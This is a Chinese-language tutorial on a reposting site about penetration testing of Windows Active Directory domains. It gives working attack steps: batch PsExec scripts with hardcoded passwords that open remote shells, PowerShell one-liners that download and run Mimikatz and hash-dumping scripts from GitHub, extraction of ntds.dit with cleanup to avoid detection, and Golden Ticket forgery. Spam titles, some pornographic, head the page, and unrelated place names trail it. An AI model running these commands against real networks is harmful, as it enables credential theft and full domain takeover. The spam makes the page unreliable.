五月天青色头像情侣网名,国产亚洲av片在线观看18女人,黑人巨茎大战俄罗斯美女,扒下她的小内裤打屁股

歡迎光臨散文網(wǎng) 會員登陸 & 注冊

干貨!內(nèi)網(wǎng)滲透測試之域滲透詳解!收藏!

2019-11-09 14:21 作者:HACKCTF  | 我要投稿

在滲透測試過程中,我們經(jīng)常會遇到以下場景:某處于域中的服務(wù)器通過路由做端口映射,對外提供web服務(wù),我們通過web腳本漏洞獲得了該主機的system權(quán)限,如果甲方有進(jìn)一步的內(nèi)網(wǎng)滲透測試需求,以證明企業(yè)所面臨的巨大風(fēng)險,這個時候就需要做內(nèi)網(wǎng)的域滲透。

通常,我們是以獲得域控制器的權(quán)限為目標(biāo),因為一旦域控制器淪陷,整個內(nèi)網(wǎng)就盡在掌握中了,在學(xué)習(xí)域滲透之前,我們需要了解一些基礎(chǔ)知識,本期“安仔課堂”,ISEC實驗室的秦老師為大家一一講解。

一、什么是域

將網(wǎng)絡(luò)中多臺計算機邏輯上組織到一起,進(jìn)行集中管理,這種區(qū)別于工作組的邏輯環(huán)境叫做域,域是組織與存儲資源的核心管理單元,在域中,至少有一臺域控制器,域控制器中保存著整個域的用戶帳號和安全數(shù)據(jù)庫。

那么域網(wǎng)絡(luò)結(jié)構(gòu)有什么優(yōu)點呢?域的優(yōu)點主要有以下幾個方面:

1、權(quán)限管理比較集中,管理成本降低

域環(huán)境中,所有的網(wǎng)絡(luò)資源,包括用戶均是在域控制器上維護(hù)的,便于集中管理,所有用戶只要登入到域,均能在域內(nèi)進(jìn)行身份驗證,管理人員可以較好的管理計算機資源,管理網(wǎng)絡(luò)的成本大大降低;同時在域環(huán)境中也可以防止企業(yè)員工在域成員主機上違規(guī)安裝軟件,增強客戶端安全性,減少客戶端故障,降低維護(hù)成本。

2、保密性加強

有利于企業(yè)的一些保密資料的管理,可以單獨對資源進(jìn)行權(quán)限控制,允許或拒絕特定的域賬戶對資源的請求。

3、安全性加強

使用漫游賬戶和文件夾重定向,個人賬戶的工作文件及數(shù)據(jù)等可以存儲在服務(wù)器上,進(jìn)行統(tǒng)一備份及管理,使用戶的數(shù)據(jù)更加安全有保障;同時域控制器能夠分發(fā)應(yīng)用程序、系統(tǒng)補丁,用戶可以選擇安裝,也可以由系統(tǒng)管理員指派自動安裝,數(shù)據(jù)及系統(tǒng)安全性大大提高。

4、提高了便捷性

可由管理員指派登陸腳本映射,用戶登錄后就可以像使用本地盤符一樣,使用網(wǎng)絡(luò)上的資源,且不需要再次輸入密碼。

基于以上原因,很多企業(yè)的內(nèi)網(wǎng)均會采用域環(huán)境,所以作為一名合格的滲透測試人員,域滲透的常規(guī)思路和技巧要熟練掌握。

二、域的特性

域成員計算機在登錄的時候可以選擇登錄到域中或此計算機,登陸到域中的時候,身份驗證是采用Kerberos協(xié)議在域控制器上進(jìn)行的,登陸到此計算機則是通過SAM來進(jìn)行NTLM驗證的,如下圖:

默認(rèn)情況下,域用戶可以登錄到域中所有的工作站,不包括域控制器,管理員也可以指定具體的計算機,域用戶信息保存在活動目錄中,如下圖:


三、域滲透思路

一個具有一定規(guī)模的企業(yè),每天都可能面臨員工入職和離職,因此網(wǎng)絡(luò)管理部門經(jīng)常需要對域成員主機進(jìn)行格式化消除磁盤的文件,然后重裝系統(tǒng)及軟件,以提供給新員工使用;因此,為了便于后期交接,大多網(wǎng)絡(luò)管理員會做好一個系統(tǒng)鏡像盤,統(tǒng)一安裝所有的電腦,并且在安裝的時候設(shè)置慣用、甚至統(tǒng)一的密碼。

因此,域中的計算機本地管理員賬號,極有可能能夠登陸域中較多的計算機,本地管理員的密碼在服務(wù)器上后期修改的概率,遠(yuǎn)低于在個人辦公電腦上的概率,而域用戶權(quán)限是較低的,是無法在域成員主機上安裝軟件的,這將會發(fā)生下面的一幕:

某個域用戶需要使用viso軟件進(jìn)行繪圖操作,于是聯(lián)系網(wǎng)絡(luò)管理員進(jìn)行安裝,網(wǎng)絡(luò)管理員采用域管理員身份登錄了域成員主機,并幫助其安裝了viso軟件,于是這個有計算機基礎(chǔ)的員工,切換身份登錄到了本地計算機的管理員,后執(zhí)行mimikatz,從內(nèi)存當(dāng)中抓取了域管理員的密碼,便成功的控制了整個域。

因此,域滲透的思路就是:通過域成員主機,定位出域控制器IP及域管理員賬號,利用域成員主機作為跳板,擴(kuò)大滲透范圍,利用域管理員可以登陸域中任何成員主機的特性,定位出域管理員登陸過的主機IP,設(shè)法從域成員主機內(nèi)存中dump出域管理員密碼,進(jìn)而拿下域控制器、滲透整個內(nèi)網(wǎng)。

四、域滲透常用指令

以下所有指令均為在域成員主機上執(zhí)行的結(jié)果。

得到域控制器的IP:dsquery server

得到域控制器主機名:net group “domain controllers” /domain,注意通過該指令得到的機器名后面會多一個$符號,如下圖:

查詢域管理用戶:net group “domain admins” /domain

查看所有域用戶:net user /domain

這里有一個特殊用戶叫做krbtgt,該用戶是用于Kerberos身份驗證的帳戶,獲得了該用戶的hash,就可以偽造票據(jù)進(jìn)行票據(jù)傳遞攻擊了,此外,還有以下幾個常用指令:

查詢當(dāng)前登陸域:net config workstation

查詢域密碼策略:net accounts /domain

查看補丁信息:wmic qfe

查看操作系統(tǒng)類型:wmic os

當(dāng)我們獲得了某個本地管理員權(quán)限的賬號,我們想通過該賬號訪問內(nèi)網(wǎng)其他主機,常用的做法有net use建立Ipc$連接、wmic指令連接、采用rdp方式連接、當(dāng)然也可以使用“計算機管理–連接到另一臺計算機”的功能來進(jìn)行操作,除此之外,筆者更喜歡使用psexec進(jìn)行遠(yuǎn)程連接,如下圖:

如果覺得一臺一臺手工連接比較麻煩,也可以進(jìn)行批量連接,批量反彈cmdshell回來,可以采用如下批處理:

@echo off

echo check ip addr config file…

if not exist ip.txt echo ip addr config file ip.txt does not exist! & goto end

echo read and analysis file…

for /F “eol=#” %%i in (ip.txt) do start PsExec.exe \\%%i -accepteula -u administrator -p “123456″ cmd & start cmd /c PsExec.exe \\%%i -u administrator -p “123456″ cmd

:end

exit

當(dāng)返回了cmdshell后,我們就可以逐一讀取內(nèi)存,去抓取域管理員的密碼,這里可以結(jié)合powershell來進(jìn)行快速操作,無需上傳文件:

抓明文:

powershell IEX (New-Object Net.WebClient).DownloadString(‘https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1′); Invoke-Mimikatz –DumpCerts

抓hash:

powershell IEX (New-Object Net.WebClient).DownloadString(‘https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1′);Get-PassHashes

這種方式的好處是只要域管理員登陸過目標(biāo)計算機,即使注銷了會話,一樣可以從內(nèi)存讀取到密碼,但實際的滲透過程中,我們往往追求的是效率,如何快速找到域管理員登陸過哪臺計算機,并且還存在活動會話,優(yōu)先級更高一些,我們可以使用如下指令:

這里ip.txt是需要遍歷的IP列表,1.bat中的指令為tasklist /v |find “域管理員”,這樣我們只需要在返回的cmdshell當(dāng)中,去查看是否含有域管理員字樣的會話,如果有,則表示該主機上曾經(jīng)登陸過域管理員,可以去dump內(nèi)存密碼了。

另外我們也可以使用Tasklist命令查看遠(yuǎn)程主機任務(wù)列表,這里一樣是搜索含有域管理員字樣的任務(wù)列表,如下圖:

基于以上原理,我們可以寫一個更加自動化的批處理:

@echo off

echo check ip addr config file…

if not exist ip.txt echo ip addr config file ip.txt does not exist! & goto end

echo read and analysis file…

for /F “eol=#” %%i in (ip.txt) do echo %%i &(echo %%i &tasklist /s %%i /u administrator /p mytest2010 /v) >>d:\result.txt

:end

exit

上述指令的作用就是采用指定的用戶名和密碼去遍歷ip.txt中的IP列表,并打印任務(wù)列表,將結(jié)果輸出到result.txt當(dāng)中,執(zhí)行完了上述批處理,我們只需要稍作等待,最后去查看result.txt當(dāng)中是否含有域管理員字樣,即可確定哪些主機上存在域管理員的活動會話,如下圖:


五、域用戶hash提取

域用戶帳戶以域數(shù)據(jù)庫的形式保存在活動目錄中,ntdsutil.exe是域控制器自帶的域數(shù)據(jù)庫管理工具,從windows 2008就默認(rèn)自帶了,因此我們可以通過域數(shù)據(jù)庫,提取出域中所有的域用戶信息,在域控上依次執(zhí)行如下命令,導(dǎo)出域數(shù)據(jù)庫:

Ntdsutil –snapshot—activate instance ntds—create—mount {guid}—copy 裝載點\windows\NTDS\ntds.dit d:\ntds_save.dit

域數(shù)據(jù)庫裝載完畢,即可進(jìn)行復(fù)制,如下圖:

最后執(zhí)行unmount {guid}—delete {guid}–quit刪除裝載點即可,避免被發(fā)現(xiàn),接著上傳工具QuarksPwDump到域控制器上,然后執(zhí)行如下命令,成功提取用戶hash,如下圖:

QuarksPwDump –dump-hash-domain –ntds-file d:\ntds_save.dit

注意上面的操作必須在域控制器上,否則會出現(xiàn)如下錯誤,這是因為打開域數(shù)據(jù)庫需要用到相應(yīng)的數(shù)據(jù)庫引擎,如下圖:

除了上面的操作方法外,還可以使用mimikatz一條命令,獲取域控制器上所有用戶的hash:

mimikatz log “privilege::debug” “l(fā)sadump::lsa /patch”

六、票據(jù)傳遞攻擊

域中每個用戶的Ticket都是由krbtgt的密碼Hash來計算生成的,因此只要我們拿到了krbtgt的密碼Hash,就可以隨意偽造Ticket,進(jìn)而使用Ticket登陸域控制器,使用krbtgt用戶hash生成的票據(jù)被稱為Golden Ticket,此類攻擊方法被稱為票據(jù)傳遞攻擊。

首先,我們來生成Golden Ticket,這里需要修改相應(yīng)的域管理員賬號、域名稱、sid值,如下圖:

接著我們使用如下指令導(dǎo)入票據(jù):

導(dǎo)入成功后,我們在域成員主機上執(zhí)行klist,即可查看緩存的票據(jù),如下圖:

最后,我們就可以使用票據(jù)傳遞攻擊,登陸域控了,如下圖:

因此,在域滲透過程如果發(fā)現(xiàn)域管理員的密碼已經(jīng)修改,可嘗試?yán)胟rbtgt用戶的歷史hash來進(jìn)行票據(jù)傳遞攻擊,krbtgt用戶的密碼一般不會有人去修改。

此外,域滲透過程中可能會使用到MS14-068這個漏洞,微軟給出的補丁是kb3011780,在server 2000以上的域控中,如果沒有打這個補丁,那么情況將比較糟糕,利用該漏洞可以將任何一個域用戶提權(quán)至域管理員權(quán)限,危害極大。



干貨!內(nèi)網(wǎng)滲透測試之域滲透詳解!收藏!的評論 (共 條)

分享到微博請遵守國家法律
太仓市| 伊通| 本溪市| 合水县| 瑞昌市| 聊城市| 库尔勒市| 平原县| 托克托县| 通河县| 汉川市| 陆河县| 三台县| 江油市| 涡阳县| 简阳市| 项城市| 建德市| 荔浦县| 浏阳市| 大余县| 正阳县| 岳西县| 乐安县| 茌平县| 马尔康县| 灵宝市| 大安市| 台北市| 龙门县| 乌拉特中旗| 宁国市| 惠安县| 五台县| 东方市| 东港市| 屯昌县| 钟山县| 南投市| 虹口区| 五家渠市|